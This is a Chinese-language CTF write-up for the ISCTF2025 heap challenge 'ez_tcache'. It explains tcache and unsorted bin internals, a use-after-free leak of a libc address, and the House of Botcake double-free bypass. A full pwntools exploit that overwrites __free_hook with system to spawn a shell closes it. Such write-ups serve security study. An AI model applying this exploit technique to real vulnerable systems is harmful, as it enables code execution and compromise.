ez_tcache

ez_tcache (1).png

main函数:

ez_tcache (2).png

delete函数:

ez_tcache (3).png

show函数:

ez_tcache (4).png

add函数:

ez_tcache (5).png

这题明显是一道堆题目,功能有delete、show和add,我们最多能申请20个堆,每个堆的最大为0x400,题目没有后门函数,那我们要先考虑泄露libc地址,我们看到delete函数,这里有明显的UAF漏洞,这里释放了nodes[int](里面存的是堆地址的指针)并没有清空那个位置,即并没有nodes[int] = NULL,假设我们free了chunk7后,我们nodes[7]还是存的chunk7的地址,那我们用show函数时如果show(7)还是会打印chunk7的内容,我们要利用这个漏洞就要先知道chunk在不同情况下的结构

使用中:

ez_tcache (8).png

Size = 0x91:表示 Chunk 大小为 144 字节,且前一个 Chunk (Chunk 6) 处于使用状态(防止向前合并)。User Data:此时 0x10 开始的区域完全归用户支配,存储有效数据。

Unsorted Bin 状态:

ez_tcache (9).png

fd/bk 指针:原本存储 User Data 的前 16 字节被系统征用,用于维护双向链表。因为它是链表中唯一的节点,所以直接指向 Libc 中的 main_arena

Tcache 状态:

ez_tcache (10).png

next 指针:指向链表中的下一个空闲块(如果是最后一个则为 NULL)。。

key:这是 Tcache 的安全机制,用于检测 Double Free。

我们介绍一下tcache和unsorted bin

首先是tcache:

数据结构:单向链表 (Singly Linked List),采用 LIFO (后进先出) 策略。

管理方式:

每个线程有一个 tcache_perthread_struct 结构体。

里面包含两组数组:counts (记录每个链表里有几个块) 和 entries (记录链表的头指针)。

默认覆盖范围:16字节 ~ 1032字节 (0x410)。

默认容量:每个大小链表最多存 7 个块。(就是同个大小的堆只能存7个)

ez_tcache (7).png

ez_tcache (11).png

然后是unsorted bin:

机制:如果 Tcache/Fastbin 满了,那再free就会进入unsorted bin

数据结构:双向循环链表 (Doubly Linked List)。

FIFO (先进先出):通常采用头部插入,尾部取出的方式遍历(但在特定版本和场景下有变种)。

物理特性:

合并 (Consolidation):这是 Unsorted Bin 的核心功能。进入这里的块,系统会尝试向前、向后合并相邻的空闲块,以减少内存碎片。

分类:在 malloc 过程中,如果 Unsorted Bin 里的块大小不合适,它们会被“整理”并发送到 Small Bin 或 Large Bin。

ez_tcache (6).png可以把unsorted bin看成一个圆圈,假设先进来了chunkA,然后进来了chunkB,那

(1) Chunk B(最新释放的块,位于链表头部)

因为它刚被插到 Head 的后面,所以它连接着 Head 和旧块 A。

fd 指向: Chunk A 的地址

(逻辑:它的下一个是老块 A)

bk 指向: Unsorted Bin Head 的地址(位于 libc 中)

(逻辑:它的上一个是表头)

(2) Chunk A(最早释放的块,位于链表尾部)

它是之前唯一的块,现在被 B 挤到了后面。

fd 指向: Unsorted Bin Head 的地址(位于 libc 中)

(逻辑:它是最后一个,所以 fd 指回表头,完成循环)

bk 指向: Chunk B 的地址

(逻辑:它的上一个是刚刚插进来的 B)

(3) Unsorted Bin Head(位于 main_arena)

这是链表的锚点。

fd 指向: Chunk B 的地址

(逻辑:fd 总是指向链表中最新的那个块)

bk 指向: Chunk A 的地址

(逻辑:bk 总是指向链表中最早进入的那个块)

好,这就是这题要用到的理论知识,我们首先要泄露libc地址,我们注意到,当chunk位于unsorted bin时,会在chunk开头放置libc地址,如果我们利用UAF漏洞,即通过free把chunk送入unsorted bin,然后show,就能获取开头的libc地址,那我们要把chunk送入unsorted bin就要先申请8个相同大小的chunk,然后free,这样前7个就会把tcache占满,那最后一个就进入了unsorted bin,我们show就能泄露出libc地址了,这是我们实现这部分的脚本

for i in range(7):
    add(0x88, b'Filler')
add(0x88, b'Chunk_A') 
add(0x88, b'Chunk_B') 
add(0x18, b'Guard')  

for i in range(7):
    delete(i)
delete(8)
delete(7)

show(7)

这里我们把chunk7和8都送进unsorted bin是为了我们后面利用做铺垫,我们有了libc地址了,我们这题没有edit函数,所以我们想要写入内容只有add函数,我们要修改fd指针要另外想办法,这里我们利用的漏洞方法叫做House of Botcake,这个方法的过程是这样的

add(0x88, b'Make_Room')
delete(8)


payload = flat([
    b'A' * 0x88,    
    0x91,           
    free_hook      
])
add(0x100, payload)

add(0x88, b'/bin/sh\x00')

add(0x88, p64(system_addr)) 

delete(12)

前面说到,我们把chunk7和chunk8都送进了unsorted bin,由于这两个chunk的地址是相邻的,那在unsorted bin就会把它们两个合并,看作一个大的chunk,这个合并机制也是我们为什么要多申请一个Guard,如果没有这个,当chunk7和chunk8进入unsorted bin后,会被顶端那块巨大的、未分配的预留内存top chunk吞并,当有一个Guard时,内存布局是 Chunk 7 -> Chunk 8 -> Guard (正在使用) -> Top Chunk,unsorted bin只会合并chunk7和chunk8,这时我们add,把一个堆从tcache中释放出来,然后我们再次free(8),这里由于delete并没有清空指针,所以我们可以再次free(8),注意,假设chunk8已经free进入了tcache,我们不能再把它free进tcache,Glibc 2.29 引入的 Tcache Double Free 检查(key 字段检查),我们的House of Botcake就是为了应对这个检查的一个方法,我们回到题目,这次free(8),程序发现tcache还有一个位置(我们刚刚add腾出了一个位置),然后tcache中也没有chunk8,就把chunk8放入了tcache,此时,chunk8同时存在于tcache和unsorted bin(这个的意思是,我们对tcache和unsorted bin进行操作都能操作chunk8),那我们要修改fd只能利用add,我们前面提到了,现在chun7和chunk8形成了一个大块,由于chunk7的地址比chunk8低,所以这个大块的头部是chunk7的头部,这里chunk8整个都被看作大块user data,此时,我们申请0x100(这个大小只要足够覆盖chunk7和chunk8存fd的位置就行)的大小,由于它检查tcache中没有这么大的,就到unsorted bin中找空间,发现这个大块足够,它就把这个大块切割出0x110(当我们申请一块堆内存时,我们申请的是user data的大小,程序会自动在前面加上头部,也就是实际占的大小会大一些,例如我们前面申请的0x88大小实际大小为0x90),给我们,然后我们就能向这里面写,那我们就能改写chunk8的fd指针了(前面提到了,合并后chunk8被视为user data),这里0x88是覆盖chunk7,这里注意有一个堆块复用规则,我们前面知道chunk的开头是pre_size和size,而堆块复用就是当一个堆块处于“使用中(Allocated)”状态时,它的下一个块的 prev_size 空间可以被它“借用”来存储用户数据,那我们的0x88实际上就覆盖到了chunk8的pre_size,下一个就是chunk8的size位置,这里要覆盖成0x91,最后的1代表chunk7是使用状态,因为实际上add(0x100)时申请出的大块包括整个chunk7,这个0x110这个大块是使用状态,那单看chunk7的它肯定时使用状态的,然后我们把chunk8的fd指针的位置修改成了free_hook,free函数的流程是先检查free_hook是不是空的,如果不是空的就跳转到free_hook里面存的地址开始执行,现在,我们把chunk8的fd修改成free_hook了,接下来我们再申请一个0x88的chunk,我们把chunk8又申请出来了,注意,由于delete并没有清空指针,所以每次add申请的notes[]都会加1,这里申请出的是notes[12],我们往notes[12]位置写入了sh,我们把chunk8的fd修改后,把chunk8申请出来前,tcache的结构就变成了chunk8-->free_hook,并没有其他chunk了,因为没有指针指向其他chunk了,我们把tcache的链表改变了,所以我们把chunk8申请出去后,再申请一次tcache的chunk,就把free_hook地址申请出来了,也就是notes[13]=free_hook,那我们就能把free_hook存的内容改变了,这里我们把它改成system,让我们看看最后delete(12)发生了什么吧

delete(12)--> free(note[12]) --> 查看free_hook是否为空,发现不为空,为system函数的地址-->执行system(notes[12])-->notes[12]内存的是sh-->system('sh'),成功getshell

EXP:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file = './pwn_patched'
elf  = ELF(file)
libc = ELF("./glibc/libc-2.29.so")
choice = 0
if choice:
    port =    20521
    target = 'challenge.bluesharkinfo.com'
    p = remote(target, port)
else:
    p = process(file)

gdb_ = 0
if gdb_:
    gdb.attach(p)

def add(size, content):
    p.sendlineafter(b"choice: ", b"1")
    p.sendlineafter(b"Size: ", str(size).encode())
    if len(content) < size:
        p.sendafter(b"Content: ", content.ljust(size, b'\x00'))
    else:
        p.sendafter(b"Content: ", content)

def delete(idx):
    p.sendlineafter(b"choice: ", b"2")
    p.sendlineafter(b"Index: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b"choice: ", b"3")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.recvuntil(b"Content: ")

for i in range(7):
    add(0x88, b'Filler')
add(0x88, b'Chunk_A') 
add(0x88, b'Chunk_B') 
add(0x18, b'Guard')  

for i in range(7):
    delete(i)
delete(8)
delete(7)

show(7)
leak_data = p.recv(6)
libc.address = u64(leak_data.ljust(8, b'\x00')) - 0x1e4ca0 
log.success(f"Libc Base: {hex(libc.address)}")
free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']

add(0x88, b'Make_Room')
delete(8)


payload = flat([
    b'A' * 0x88,    
    0x91,           
    free_hook      
])
add(0x100, payload)

add(0x88, b'/bin/sh\x00')

add(0x88, p64(system_addr)) 

delete(12)

p.interactive()

题目链接:

CTF-Writeups/ISCTF2025/ez_tcache at main · Zenquiem/CTF-Writeups


ez_tcache
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-KvgMcqGo
作者
ZenDuk
发布于
2025年12月21日
许可协议